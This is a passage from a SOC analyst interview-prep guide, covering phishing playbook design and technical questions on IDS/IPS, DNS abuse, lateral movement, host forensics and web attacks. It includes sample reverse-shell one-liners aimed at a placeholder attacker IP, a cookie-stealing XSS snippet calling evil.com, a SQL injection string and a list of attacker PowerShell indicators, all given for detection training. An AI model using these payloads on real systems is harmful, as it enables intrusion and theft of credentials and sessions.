- **Auto-close (benign).** Sender is on the known-good list, no malicious URLs or attachments, DMARC passes, no IOCs found. Close the ticket, send the user an automated thank-you message ("Thanks for reporting — we checked it and it is clean. Keep reporting, you are helping the team."). Log it for metrics.
- **Auto-quarantine + escalate (confirmed malicious).** Known-bad URL, malicious attachment, or confirmed phishing IOCs. The playbook should:
  - Quarantine the email from the reporter's mailbox.
  - Search for and quarantine matching emails across the entire organization (same sender, same subject, same URL/attachment hash).
  - Block the sender domain and malicious URLs at the email gateway and web proxy.
  - Create a P2 incident ticket and assign to an analyst for validation.
  - If the user clicked a link or opened an attachment, automatically trigger the compromised-account playbook (password reset, session revocation).
- **Escalate for review (suspicious but inconclusive).** Something is off — newly registered domain, sketchy URL that is not in any feed yet, sandbox results are ambiguous. Create a ticket, attach all enrichment data, assign to an analyst. Do not auto-quarantine because the false positive risk is too high.

Human-in-the-loop checkpoints:

This is where a lot of SOAR designs go wrong — they try to automate everything and end up either missing things or auto-quarantining legitimate emails. You need human checkpoints at these stages:

1. **Before org-wide quarantine.** Pulling an email out of everyone's inbox is high-impact. The playbook should recommend it, present the evidence, and wait for an analyst to click "approve" before executing. One false positive here and you have deleted a legitimate email from 500 people.
2. **Before blocking a sender domain.** If it is a freemail domain (gmail.com, outlook.com), you obviously cannot block the whole domain. The playbook needs to recognize this and flag it for human decision.
3. **Ambiguous sandbox results.** Some malware detects sandboxes and behaves differently. If the sandbox says "clean" but other indicators are suspicious, a human needs to make the call.
4. **VIP reporters.** If the CEO reports a phishing email, that gets a human analyst regardless of enrichment results. Configure a VIP list.

Metrics the playbook should track: - Total reports received, auto-closed, escalated, confirmed malicious - Mean time from report to quarantine - False positive rate on auto-quarantine actions - Click-through rate (how many users clicked before reporting) - Repeat reporters (your security champions — recognize them)

Common mistakes: - Designing a playbook that auto-quarantines without any human approval gate — one bad rule and you are pulling legitimate emails org-wide - Not sending a thank-you response to the user who reported — this kills your reporting culture - Not searching for the same email across the organization — if one person got it, others probably did too - Over-automating to the point where analysts do not understand what the playbook is doing, so they cannot troubleshoot it when it breaks

---

Next: Chapter 3 — Technical Questions

Chapter 3: Technical Questions

Hands-On Technical Knowledge for SOC Interviews

Someone across the table is going to say: "Walk me through how you'd investigate a compromised Windows host." They are not checking whether you read about it. They want to know if you have *done* it — or at least done something close enough in a lab that your hands would not freeze on a keyboard.

Technical questions test whether you understand how things work, not just what things are called. For each question below, you get: what they asked, what they are *really* testing, a strong answer, and what earns bonus points.

Question 1: IDS vs IPS

"What's the difference between IDS and IPS?"

What they are really asking: Do you understand the trade-off between detection and prevention, and can you explain when each is appropriate?

Strong answer:

An IDS (Intrusion Detection System) monitors traffic and alerts on suspicious activity. It is passive — it observes and reports but does not interfere with traffic. An IPS (Intrusion Prevention System) does the same detection but is positioned inline in the traffic flow and can actively block or drop malicious packets in real time.

Both use similar detection methods: - **Signature-based:** Matching traffic against a database of known attack patterns. Fast and reliable for known threats, but blind to novel attacks. - **Anomaly-based:** Establishing a baseline of "normal" and alerting on deviations. Can catch unknown threats but generates more false positives.

The key trade-off is: an IDS false positive generates an unnecessary alert. An IPS false positive blocks legitimate traffic — potentially causing a business outage. That is why many organizations deploy IDS first, tune the rules to reduce false positives, and then switch to IPS mode once they trust the detection accuracy.

Modern NGFWs (Palo Alto, Fortinet, etc.) integrate IPS functionality directly, so standalone IPS appliances are less common than they used to be.

Bonus points: Mention that Suricata and Snort can operate in either IDS or IPS mode. Reference that IDS/IPS signature updates are critical — a stale signature set misses recent threats.

Question 2: SYN Flood Attack

"Explain a SYN flood attack and how to detect it."

What they are really asking: Do you understand the TCP handshake well enough to explain how it can be abused?

Strong answer:

A SYN flood exploits the TCP three-way handshake. Normally: client sends SYN, server responds SYN-ACK and allocates resources for the connection, client sends ACK to complete the handshake. In a SYN flood, the attacker sends thousands of SYN packets but never sends the final ACK. The server holds these half-open connections in its connection table, consuming memory and resources until it cannot accept legitimate connections.

The attacker typically uses spoofed source IPs, so the SYN-ACKs go to random addresses that never respond with an ACK — the connections just time out slowly.

Detection indicators: - High volume of SYN packets from one or many sources without corresponding ACKs - Server connection table approaching capacity (high number of half-open connections) - Firewall or IDS logs showing a spike in SYN packets - Network monitoring showing asymmetric traffic — much more inbound SYN than outbound SYN-ACK/ACK

Mitigation: - **SYN cookies:** The server does not allocate resources until the handshake completes. It encodes the connection information in the SYN-ACK's sequence number. - **Rate limiting:** Limit the number of SYN packets per second from a single source. - **Firewall/IPS rules:** Detect and block SYN floods based on thresholds. - **DDoS protection services** (Cloudflare, Akamai, AWS Shield) absorb the traffic upstream.

Bonus points: Explain the difference between SYN flood (resource exhaustion) and SYN scan (reconnaissance — sending SYN packets to identify open ports). Nmap's -sS flag performs a SYN scan, which is often called a "half-open scan" or "stealth scan."

Question 3: Vulnerability Scan vs Penetration Test

"What's the difference between a vulnerability scan and a penetration test?"

What they are really asking: Do you understand that finding vulnerabilities and proving exploitation are different activities with different purposes?

Strong answer:

A **vulnerability scan** is automated, broad, and identifies known vulnerabilities. A scanner like Nessus, Qualys, or OpenVAS checks systems against a database of known CVEs, misconfigurations, default credentials, and missing patches. It runs regularly (weekly to monthly), covers the entire environment, and produces a report with severity ratings. It tells you "these weaknesses exist."

A **penetration test** is manual, targeted, and attempts to actually exploit vulnerabilities. A skilled tester (or team) tries to chain vulnerabilities together, bypass controls, and demonstrate real-world impact — "we got from the internet to your domain controller in four steps." It is typically performed annually or before major changes, has a defined scope and rules of engagement, and produces a narrative report showing attack paths.

Key differences:

Aspect	Vulnerability Scan	Penetration Test
Approach	Automated	Manual + automated
Depth	Broad, shallow	Narrow, deep
Output	List of vulnerabilities	Demonstrated attack paths
Frequency	Weekly/monthly	Annual or event-driven
False positives	Common	Rare (exploits are verified)
Cost	Low (tool license)	High (specialized labor)
Risk to systems	Minimal	Some risk (exploitation can cause instability)

Think of a vulnerability scan as a building inspector checking for code violations, and a penetration test as someone actually trying to break in.

Bonus points: Mention that vulnerability scans are necessary for penetration tests — testers use scan results as starting points. Also mention red team vs pentest: a red team engagement is longer-term, more adversarial, and tests the entire security program (detection, response) — not just technical controls.

Question 4: DNS Deep Dive

"How does DNS work? How can it be abused?"

What they are really asking: DNS is fundamental to security monitoring. Can you explain it clearly and connect it to real threats?

Strong answer:

DNS (Domain Name System) translates human-readable domain names into IP addresses. The resolution process:

1. User types `example.com` in their browser
2. The OS checks its local cache and hosts file first
3. If not cached, the query goes to the configured DNS resolver (usually ISP or corporate DNS server)
4. The resolver checks its own cache. If not cached:
5. The resolver queries a root DNS server, which directs it to the `.com` TLD nameserver
6. The TLD nameserver directs it to the authoritative nameserver for `example.com`
7. The authoritative nameserver returns the IP address
8. The resolver caches the result (based on the TTL value) and returns it to the client

How DNS is abused:

- **DNS tunneling:** Encoding data (commands or exfiltrated data) in DNS queries and responses. Since DNS is almost always allowed through firewalls, it is an effective covert channel. The attacker controls a DNS server for a domain they own, and the malware on the victim host communicates by making DNS queries to subdomains like `encoded-data-here.attacker-domain.com`.
- **Domain Generation Algorithms (DGA):** Malware generates hundreds of random-looking domain names daily and queries them. The attacker only needs to register one to establish a C2 channel. Makes blocklisting individual domains ineffective.
- **DNS hijacking:** Changing DNS records to redirect traffic to a malicious server. Can happen at the registrar level (compromising the domain owner's account), at the DNS server level (cache poisoning), or at the local level (modifying the hosts file or DNS settings on a compromised machine).
- **DNS cache poisoning:** Injecting false DNS records into a resolver's cache so users are directed to a malicious IP. DNSSEC was designed to mitigate this.
- **Fast flux:** Rapidly changing DNS records to rotate through many IP addresses, making it difficult to block or take down C2 infrastructure.
- **Typosquatting / homograph attacks:** Registering domains that look similar to legitimate ones (gooogle.com, example.corn) for phishing.

Bonus points: Mention DNS over HTTPS (DoH) and DNS over TLS (DoT) — encrypted DNS that improves privacy but can blind security monitoring that relies on inspecting DNS queries. This is a current challenge for SOC teams.

Question 5: URL in Browser (Security-Focused)

"Walk me through what happens when you type a URL in a browser — from a security perspective."

What they are really asking: Can you trace a network request through the stack and identify where security controls and risks exist at each step?

Strong answer:

I will trace `https://example.com` through the security-relevant layers:

1. DNS Resolution The browser resolves `example.com` to an IP address. Security touchpoints: DNS filtering can block the domain if it is on a blocklist. DNS logs capture the query for monitoring. DNS hijacking could redirect to a malicious IP.

2. TCP Connection The browser initiates a TCP connection (SYN, SYN-ACK, ACK) to the resolved IP on port 443. Security touchpoints: the firewall evaluates this connection against its rule set. An IDS/IPS inspects the traffic. Network monitoring records the connection.

3. TLS Handshake The browser and server negotiate TLS encryption. The server presents its certificate. Security touchpoints: the browser validates the certificate chain, checks expiration and revocation (CRL/OCSP). A corporate proxy performing TLS inspection would intercept this,

present its own certificate, and establish separate TLS sessions to each side. The proxy can then inspect the decrypted traffic.

4. HTTP Request The browser sends the HTTP GET request (now encrypted inside TLS). Security touchpoints: the web proxy logs the full URL, user agent, and other headers. The WAF (if present) inspects the request for malicious payloads. DLP tools may inspect the response content.

5. Server Response The server returns HTML, CSS, JavaScript, and other resources. Security touchpoints: the proxy scans the response for malware. The browser's content security policy (CSP) restricts what scripts can execute. The browser may flag the page if it detects phishing patterns.

6. Rendering and Script Execution The browser renders the page and executes JavaScript. Security touchpoints: browser sandboxing isolates the page. Same-origin policy prevents scripts from accessing other domains' data. Anti-exploit technology (browser and EDR) monitors for exploitation attempts.

7. Subsequent Requests The page loads additional resources (images, scripts, API calls, tracking pixels). Each goes through the same chain. Security touchpoints: ad blockers, script blockers, and proxy policies can filter these. CORS policies restrict cross-origin requests.

At every step, there are both security controls and potential attack surfaces. A SOC analyst needs to understand this chain because it informs where to look during an investigation — was it the DNS that was tampered with? The certificate that was forged? The content that delivered malware? The script that exploited the browser?

Bonus points: Mention HSTS (HTTP Strict Transport Security) which forces HTTPS and prevents protocol downgrade attacks.

Question 6: Lateral Movement Detection

"What's lateral movement and how do you detect it?"

What they are really asking: Do you understand post-exploitation techniques and can you explain what to monitor for?

Strong answer:

Lateral movement is how an attacker moves from an initially compromised system to other systems in the environment to reach their target (domain controller, database, file server, etc.). The initial foothold is rarely the objective.

Common lateral movement techniques:

- **Pass-the-Hash (PtH):** Using a captured NTLM hash to authenticate to another system without knowing the plaintext password. Works because Windows NTLM authentication uses the hash, not the password.
- **Pass-the-Ticket:** Stealing and reusing Kerberos tickets.
- **PsExec:** Using Microsoft Sysinternals PsExec (or the Impacket Python implementation) to execute commands on remote systems.
- **WMI:** Windows Management Instrumentation for remote code execution.
- **WinRM/PowerShell Remoting:** Remote execution using PowerShell remoting (ports 5985/5986).

- **RDP:** Remote Desktop Protocol for interactive access.
- **SMB:** Copying tools or malware to file shares, then executing via scheduled tasks or services.
- **SSH:** On Linux environments, using stolen SSH keys.

Detection strategies:

- **Authentication anomalies:** One account logging into many systems in a short time, especially systems it has never accessed before. Event IDs 4624 (logon type 3 for network, type 10 for RDP) across multiple systems from the same account.
- **Process execution monitoring:** PsExec creates a service on the target (Event ID 7045). WMI remote execution generates distinctive process chains. Look for processes spawned by wmiprvse.exe.
- **Workstation-to-workstation traffic:** In most environments, workstations do not need to communicate directly with each other. SMB traffic between workstations is a strong lateral movement indicator.
- **Unusual use of admin tools:** If certutil, wmic, or PsExec run on a machine that is not an admin workstation, investigate.
- **Network detection:** Zeek or network IDS can detect SMB, RDP, and WinRM connections between hosts that do not normally communicate.

Bonus points: Mention that honey tokens (fake admin credentials placed in memory on select systems) and honeypots (decoy systems that should never receive legitimate traffic) are effective lateral movement detection tools — any interaction with them is definitionally suspicious.

Question 7: Encoding vs Encryption vs Hashing

"Explain the difference between encoding, encryption, and hashing."

What they are really asking: Can you distinguish between these three frequently confused concepts? This is a very common interview question.

Strong answer:

Aspect	Encoding	Encryption	Hashing
Purpose	Data format conversion	Confidentiality	Integrity verification
Reversible?	Yes, trivially	Yes, with the key	No (one-way)
Key required?	No	Yes	No
Security feature?	No	Yes	Yes
Examples	Base64, URL encoding, ASCII, Unicode	AES, RSA, ChaCha20	SHA-256, bcrypt, MD5

Encoding transforms data into a different format for compatibility or transmission. Base64 encodes binary data into text characters so it can be transmitted over text-based protocols. URL encoding converts special characters so they can be included in URLs. Encoding is NOT a security measure — anyone can decode it without a key.

Encryption transforms data so it can only be read by someone with the correct key. It is a security measure designed to protect confidentiality. Symmetric encryption uses one shared key; asymmetric uses a key pair.

Hashing transforms data into a fixed-length digest. It is one-way — you cannot recover the original data from the hash. Used for integrity verification (has this file been modified?), password storage (store the hash, not the password), and digital signatures.

Why this matters in security: An attacker who uses Base64 encoding to obfuscate a payload is not encrypting it — any analyst can decode it instantly. Malware authors know this; the encoding is meant to evade simple pattern matching, not prevent analysis. When you see base64-encoded PowerShell commands, the encoding is a red flag, not an obstacle.

Bonus points: Mention salting in the context of password hashing — a random value added to the password before hashing so that two users with the same password produce different hashes, defeating rainbow table attacks.

Question 8: Reverse Shell

"What is a reverse shell and how would you detect one?"

What they are really asking: Do you understand one of the most fundamental post-exploitation techniques?

Strong answer:

A reverse shell is when a compromised system initiates an outbound connection back to the attacker's machine and provides interactive shell access. Unlike a bind shell (which listens on a port and waits for the attacker to connect), a reverse shell connects outbound — which is much more likely to succeed because firewalls typically allow outbound connections while blocking unsolicited inbound connections.

How it works: 1. The attacker sets up a listener on their machine (e.g., `nc -lvp 4444`) 2. The payload on the victim machine executes a command that connects back to the attacker's IP on that port and redirects stdin/stdout to the connection 3. The attacker now has an interactive shell on the victim's machine

Common reverse shell techniques: - **Bash:** `bash -i >& /dev/tcp/attacker-ip/4444 0>&1` - **PowerShell:** `$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',4444); ...` - **Python:** `import socket,subprocess,os; s=socket.socket(); s.connect(("attacker-ip",4444)); ...` - **Netcat:** `nc -e /bin/sh attacker-ip 4444`

Detection strategies: - **Outbound connections on unusual ports.** A workstation connecting outbound on port 4444, 1234, or other non-standard ports. - **Process-to-network correlation.** A shell process (cmd.exe, PowerShell, bash) with an active network connection to an external IP is highly suspicious. EDR tracks this. - **Command-line monitoring.** The reverse shell commands above have distinctive patterns. Detection rules can trigger on `/dev/tcp`, `TCPClient`, or `socket.connect` in command lines. - **Network anomalies.** Interactive shell traffic has a distinctive pattern: small packets, bidirectional, low volume but sustained connection. Network detection tools can flag this. - **Beaconing detection.** Some reverse shells reconnect periodically if the connection drops, creating a beaconing pattern.

Bonus points: Mention encrypted reverse shells (reverse HTTPS, meterpreter with TLS) that are harder to detect because the traffic is encrypted and may blend with legitimate HTTPS traffic. This is why endpoint detection (seeing the process behavior) is critical alongside network detection.

Question 9: Firewall Rule Reading

"How do you read a firewall rule? Show me with an example."

What they are really asking: Can you interpret access control lists? This is a practical skill every SOC analyst needs.

Strong answer:

A firewall rule defines what traffic to allow or deny based on criteria like source, destination, port, protocol, and action. Rules are processed in order (top to bottom) — the first rule that matches is applied, and processing stops.

Example rule set:

```
Rule 1: ALLOW  src=10.0.0.0/24  dst=ANY  port=443  proto=TCP
Rule 2: ALLOW  src=10.0.0.0/24  dst=10.0.1.5  port=22  proto=TCP
Rule 3: DENY   src=ANY           dst=10.0.1.5  port=22  proto=TCP
Rule 4: ALLOW  src=10.0.0.0/24  dst=10.0.1.0/24  port=3306  proto=TCP
Rule 5: DENY   src=ANY           dst=ANY  port=ANY  proto=ANY  (implicit deny)
```

Reading these: - **Rule 1:** Hosts on the 10.0.0.0/24 network can make HTTPS connections to any destination. This allows outbound web browsing. - **Rule 2:** The same network can SSH to the specific server 10.0.1.5. This allows admin SSH access from the internal network. - **Rule 3:** Everyone else is blocked from SSHing to that server. Combined with Rule 2, only the 10.0.0.0/24 network can SSH. - **Rule 4:** The 10.0.0.0/24 network can access MySQL on the 10.0.1.0/24 network. This allows the application tier to reach the database tier. - **Rule 5:** Everything not explicitly allowed is denied (default deny).

Order matters. If Rule 3 were above Rule 2, nobody could SSH to the server — Rule 3 would match first and deny the traffic before Rule 2 could allow it.

For SOC analysts, reading firewall rules is critical for: understanding what traffic should and should not be present, identifying overly permissive rules during audits, and verifying that containment actions (blocking a malicious IP) were implemented correctly.

Bonus points: Mention stateful inspection — modern firewalls track connection state so that return traffic for allowed outbound connections is automatically permitted without explicit rules for inbound.

Question 10: Windows Host Investigation

"What tools would you use to investigate a compromised Windows host?"

What they are really asking: Have you actually investigated a system, or is your knowledge purely theoretical?

Strong answer:

Assuming I have either remote access or physical access to the host, and I am working within an incident response framework:

Remote / EDR-Based (preferred — less risk of altering evidence): - **EDR console** (CrowdStrike, Defender for Endpoint, SentinelOne) — process tree, network connections, file modifications, timeline of activity. This is the first place I check because it has continuous recording and does not require me to touch the host. - **SIEM** — query for all events related to the host's IP and hostname across all log sources. - **Event Viewer remotely** — Windows Event Logs (Security, System, Application, PowerShell, Sysmon if installed).

On-Host (if I need to collect live artifacts): - **Process analysis:** `tasklist`, `Get-Process`, or better: Process Explorer (Sysinternals) or command-line `wmic process list full` to see command lines, parent processes, and loaded DLLs. - **Network connections:** `netstat -anob` to see all active connections with the owning process. Or `Get-NetTCPConnection` in PowerShell. - **Autoruns** (Sysinternals) — shows everything that starts automatically: scheduled tasks, services, registry run keys, browser extensions, DLLs. One of the most important tools for finding persistence. - **Scheduled tasks:** `schtasks /query /fo LIST /v` — full list of scheduled tasks with details. - **Event logs:** PowerShell `Get-WinEvent` for targeted queries against Security, System, and PowerShell logs. - **File system analysis:** Check user temp directories, Downloads folder, recent files, and Prefetch (`C:\Windows\Prefetch`) which records executables that have run. - **Registry:** Run keys (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`), services, installed software.

Forensic acquisition (if this is going to legal/deeper investigation): - **Memory capture:** Dump RAM using tools like WinPMem, Magnet RAM Capture, or Belkasoft Live RAM Capturer — before doing anything else, as memory is volatile. - **Disk imaging:** Use FTK Imager or dd to create a forensic image of the drive. - **Volatility:** Analyze the memory dump for malicious processes, injected code, network connections, and other artifacts that only exist in RAM.

Bonus points: Mention the order of volatility — capture the most volatile evidence first (memory, running processes, network connections) before touching the disk. Also mention Sysmon — if it is deployed, it provides detailed logging of process creation, network connections, file changes, and more that goes far beyond default Windows logging.

> **Try this:** Open a command prompt or PowerShell on any Windows machine you have access to. Run `netstat -anob`, `schtasks /query /fo LIST /v`, and look at the Prefetch folder. Get familiar with what normal output looks like on a clean system. When you can describe what *normal* looks like, spotting *abnormal* in an interview answer becomes natural.

Question 11: PCAP Analysis

"How would you approach analyzing a PCAP file?"

What they are really asking: Have you used packet analysis tools, and do you know what to look for?

Strong answer:

A PCAP (packet capture) file contains raw network traffic. My analysis approach depends on the context — what am I looking for? But the general methodology:

1. Get the big picture first: - Open in Wireshark. Check the Statistics menu: Protocol Hierarchy shows the distribution of protocols. Conversations shows the top talkers. Endpoints

shows all IPs involved. - This tells me what kind of traffic is in the capture and helps me focus.

2. Filter for what matters: - If investigating C2: filter for traffic to/from the suspicious IP (`ip.addr == x.x.x.x`) - If investigating data exfiltration: filter for DNS queries (`dns`), look at outbound data volumes per destination - If investigating a web attack: filter for HTTP (`http`) and look at request methods, URIs, and response codes - If investigating a scan: look for many SYN packets without ACKs (`tcp.flags.syn==1 && tcp.flags.ack==0`)

3. Follow the streams: - Right-click a packet and "Follow TCP Stream" to see the full conversation between two hosts. This reassembles the data and makes it human-readable. - For HTTP traffic, this shows full requests and responses including headers and body content.

4. Look for indicators: - **DNS:** Unusual queries, high-entropy domains, TXT record responses with large data - **HTTP:** POST requests with large bodies (data exfil), suspicious user agents, connections to IPs instead of domains - **Beaconing:** Regular-interval connections to the same destination - **Unencrypted credentials:** FTP, Telnet, HTTP Basic Auth — all visible in cleartext - **File transfers:** Use File > Export Objects > HTTP to extract downloaded files. Check hashes against threat intel.

5. Correlate with context: - What host generated this traffic? What was happening on that host at that time (EDR telemetry)? - Does the destination IP appear in threat intelligence?

Bonus points: Mention tcpdump for command-line packet capture and filtering (`tcpdump -i eth0 -w capture.pcap 'port 443'`), and Zeek (formerly Bro) for generating structured connection logs from PCAPs that are easier to analyze at scale than raw packets.

Question 12: Log Analysis with Regular Expressions

"Can you write a regex to extract IP addresses from a log file?"

What they are really asking: Do you have practical experience with log parsing? Can you work with text data?

Strong answer:

A basic regex for IPv4 addresses:

```
\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b
```

This matches four groups of 1-3 digits separated by periods, with word boundaries to avoid matching partial numbers in larger strings.

In practice, I would use this in different tools:

grep/ripgrep:

```
grep -oE '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort | uniq -c | sort -rn
```

This extracts all IPs, counts unique occurrences, and sorts by frequency — useful for finding top talkers or attackers in web logs.

Splunk SPL:

```
index=firewall sourcetype=palo_alto action=blocked
```

```
| rex field=_raw "src=(?<src_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})"
| stats count by src_ip
| sort -count
```

Python:

```python
import re
pattern = r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
ips = re.findall(pattern, log_data)
```

Other useful log analysis regex patterns: - **Timestamps:** `\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2}` - **Email addresses:** `[\w.-]+@[\w.-]+\.\w+` - **URLs:** `https?://[\w./\-?&=%]+` - **Windows Event IDs:** `EventCode[=:]\s*(\d{4})`

Bonus points: Acknowledge that the basic IP regex also matches invalid IPs like 999.999.999.999. A stricter version would validate each octet: `\b(?:25[0-5]|2[0-4]\d|[01]?\d\d?)(?:\.(?:25[0-5]|2[0-4]\d|[01]?\d\d?)){3}\b`. But in practice, the simple version is usually sufficient for log analysis.

Question 13: Phishing Analysis

"Walk me through how you analyze a suspicious email."

What they are really asking: Can you systematically analyze a phishing email and extract useful indicators?

Strong answer:

I would analyze the email in layers, from least risky to most risky:

1. Email headers (safe): - Check the `From:` display name vs the actual sender address. Phishing often uses a display name like "IT Support" with an address like `support@random-domain.com`. - Check `Reply-To:` — if it differs from the sender, that is suspicious. - Examine the `Received:` headers (bottom to top) to trace the email's path. Do the originating mail servers match the claimed sender's domain? - Check `Authentication-Results:` for SPF, DKIM, and DMARC pass/fail. A legitimate email from Microsoft should pass Microsoft's SPF record. - Look for `X-Originating-IP:` — this can reveal the sender's actual IP.

2. Content analysis (safe): - Does the email create urgency? ("Your account will be suspended in 24 hours") - Does it request credentials, payment, or sensitive information? - Are there grammar/spelling errors inconsistent with the purported sender? - Does it address you generically ("Dear Customer") or specifically?

3. URL analysis (do not click): - Hover over (do not click) any links to see the actual destination URL. - Check the URL in urlscan.io, VirusTotal, or PhishTank — these sandbox the URL safely. - Look for domain spoofing: `microsoft-support.evil.com` vs `support.microsoft.com`. Check the actual registered domain. - Check the domain registration date on Whois. Recently registered domains used in emails are suspicious.

4. Attachment analysis (sandbox only): - Check the file type. Double extensions (invoice.pdf.exe) are a red flag. - Get the file hash (SHA-256) and check it on VirusTotal. - Detonate the attachment in a sandbox (Joe Sandbox, Any.Run, Hybrid Analysis) to observe its behavior —

does it download additional payloads, create files, modify the registry, establish network connections?

5. Extract and distribute IOCs: - Document all indicators: sender addresses, IPs, URLs, domains, file hashes. - Check if other users received the same email. - Block the IOCs (sender domain, destination URL, file hash) at the appropriate controls. - If users clicked: escalate to the compromised account/host investigation workflow.

Bonus points: Mention that you would preserve the email in .eml or .msg format for evidence, not just screenshots. Mention that AbuseIPDB and the sender's domain Whois can provide additional context on the sender.

Question 14: Cloud Security Basics

"What are the most common cloud security risks?"

What they are really asking: Do you understand that cloud environments have different threat surfaces than on-premises?

Strong answer:

The top cloud security risks as I see them, prioritized by how often they actually lead to breaches:

1. Misconfiguration — the number one cause of cloud breaches. Public S3 buckets, overly permissive security groups, default settings left unchanged, publicly exposed databases. The cloud makes it easy to spin things up — and easy to misconfigure them.

2. Excessive permissions / IAM sprawl — service accounts and IAM roles with more access than needed. A compromised role with `AdministratorAccess` in AWS gives the attacker the keys to the kingdom.

3. Credential exposure — API keys, access tokens, or connection strings hardcoded in code, committed to public GitHub repos, or stored in environment variables without rotation.

4. Lack of logging and monitoring — cloud environments generate massive log volumes (CloudTrail, Azure Activity Logs, GCP Audit Logs), but if they are not collected and monitored by the SOC, attacks go undetected.

5. Insecure APIs — cloud-native applications communicate through APIs. Insecure API endpoints (missing authentication, broken access control) are a primary attack vector.

6. Account hijacking — compromised cloud admin accounts, especially without MFA, give attackers full control over the environment.

7. Supply chain risks — third-party containers, libraries, and marketplace AMIs with vulnerabilities or backdoors.

8. Data exposure in transit — services communicating within the cloud without encryption, assuming the cloud network is secure.

For a SOC analyst, the key shift is understanding that cloud attacks often look like legitimate API calls. An attacker who compromises an IAM role does not need to deploy malware — they use the

cloud provider's own tools and APIs. Detection requires monitoring API logs (CloudTrail, Azure Activity Logs) for anomalous behavior, not just endpoint telemetry.

Bonus points: Reference specific cloud security tools — AWS GuardDuty, Azure Defender/Sentinel, GCP Security Command Center. Mention the CIS Benchmarks for cloud configuration hardening.

Question 15: PowerShell for Security

"What PowerShell commands or techniques should a SOC analyst know?"

What they are really asking: Can you work in a terminal, or are you GUI-only?

Strong answer:

PowerShell is essential for a SOC analyst on Windows — both for investigation and because attackers use it heavily (so you need to understand what you are looking at in logs).

Investigation commands:

```
# Active network connections with owning process
Get-NetTCPConnection | Where-Object State -eq 'Established' |
  Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess |
  ForEach-Object { $_ | Add-Member -NotePropertyName ProcessName -NotePropertyValue (Get-Process -Id $_

# Search Windows Event Logs for failed logons in the last 24 hours
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddHours(-24)} |
  Select-Object TimeCreated, @{N='Account';E={$_.Properties[5].Value}}, @{N='Source';E={$_.Properties[1

# Find recently modified files (potential malware or attacker activity)
Get-ChildItem -Path C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) } |
  Sort-Object LastWriteTime -Descending | Select-Object FullName, LastWriteTime, Length

# Check scheduled tasks for persistence
Get-ScheduledTask | Where-Object State -eq 'Ready' |
  Select-Object TaskName, TaskPath, @{N='Actions';E={$_.Actions.Execute}}

# Get file hash for threat intel lookup
Get-FileHash -Path C:\suspicious\file.exe -Algorithm SHA256

# Check running services
Get-Service | Where-Object Status -eq 'Running' | Sort-Object DisplayName

# List startup items (persistence)
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location, User
```

Understanding attacker PowerShell: When you see these in logs, investigate immediately: - `--EncodedCommand` or `-e` — base64-encoded command (obfuscation) - `Invoke-Expression` (`IEX`) — executing string as code - `Net.WebClient` or `Invoke-WebRequest` — downloading from external source

- `[Convert]::FromBase64String` — decoding embedded payloads - `-ExecutionPolicy Bypass` — circumventing script execution restrictions - `Invoke-Mimikatz`, `Invoke-Kerberoast` — known offensive tools

Bonus points: Mention PowerShell Script Block Logging (Event ID 4104) and PowerShell Transcription as critical logging features that should be enabled for security visibility. Without them, you may see that PowerShell ran but not what it did.

Question 16: Linux Security Basics

"What commands would you use to investigate a potentially compromised Linux host?"

What they are really asking: Are you comfortable on both platforms?

Strong answer:

```
# Who is currently logged in
w
who
last -20  # Last 20 logins

# Running processes — look for unusual processes
ps auxf  # Full process tree
top -bn1  # Snapshot of resource usage

# Network connections — look for unexpected outbound connections
ss -tunapl  # TCP/UDP connections with process names
netstat -tunapl  # Alternative

# Listening ports — what services are exposed
ss -tlnp

# Cron jobs — check for persistence
crontab -l  # Current user
ls -la /etc/cron*  # System cron directories
cat /var/spool/cron/crontabs/*  # All user crontabs (requires root)

# Recently modified files
find / -type f -mtime -1 -ls 2>/dev/null  # Modified in last 24 hours

# Check for unusual SUID/SGID binaries (potential privilege escalation)
find / -perm -4000 -type f 2>/dev/null

# Review auth logs
tail -100 /var/log/auth.log  # Debian/Ubuntu
tail -100 /var/log/secure     # RHEL/CentOS
```

```
# Check DNS resolution configuration (might be tampered)
cat /etc/resolv.conf
cat /etc/hosts

# Check startup services
systemctl list-unit-files --type=service --state=enabled

# Check for unauthorized SSH keys
find / -name "authorized_keys" -exec cat {} \; 2>/dev/null

# Get file hash
sha256sum /path/to/suspicious/file
```

Key things to look for: - Processes running from /tmp, /dev/shm, or user home directories - Outbound connections to unusual IPs or ports - Cron jobs that were not configured by admins - Recently added SSH authorized_keys - Modified system binaries (rootkit indicator — compare hashes against known-good)

Bonus points: Mention `chkrootkit` or `rkhunter` for rootkit scanning, and that `/var/log/auth.log` is the first place to check for SSH brute force attempts.

Question 17: Web Application Attacks

"Explain SQL injection and cross-site scripting. How do you detect them?"

What they are really asking: Do you understand the most common web application attacks?

Strong answer:

SQL Injection (SQLi): An attacker inserts malicious SQL code into an application's input fields that gets executed by the database. If a login form sends `SELECT * FROM users WHERE username = '[input]'` and the attacker enters `' OR 1=1 --`, the query becomes `SELECT * FROM users WHERE username = '' OR 1=1 --'` — which returns all users because `1=1` is always true.

Impact: data theft, authentication bypass, data modification, command execution (in severe cases via `xp_cmdshell`).

Detection in logs: - WAF logs showing blocked SQL keywords in input fields (`UNION SELECT`, `OR 1=1`, `DROP TABLE`, single quotes, comment characters `--`) - Application errors containing SQL error messages (these should never reach the user) - Unexpected database queries in database audit logs

Cross-Site Scripting (XSS): An attacker injects malicious JavaScript into a web page that executes in other users' browsers. If a forum post contains `<script>document.location='http://evil.com/steal?cooki` and the application does not sanitize the input, every user who views that post has their session cookie sent to the attacker.

Three types: - **Stored (persistent):** Malicious script saved in the database and served to every user who views the page - **Reflected:** Script in a URL parameter that gets reflected in the page response (requires the victim to click a crafted link) - **DOM-based:** Script manipulates the client-side DOM without involving the server

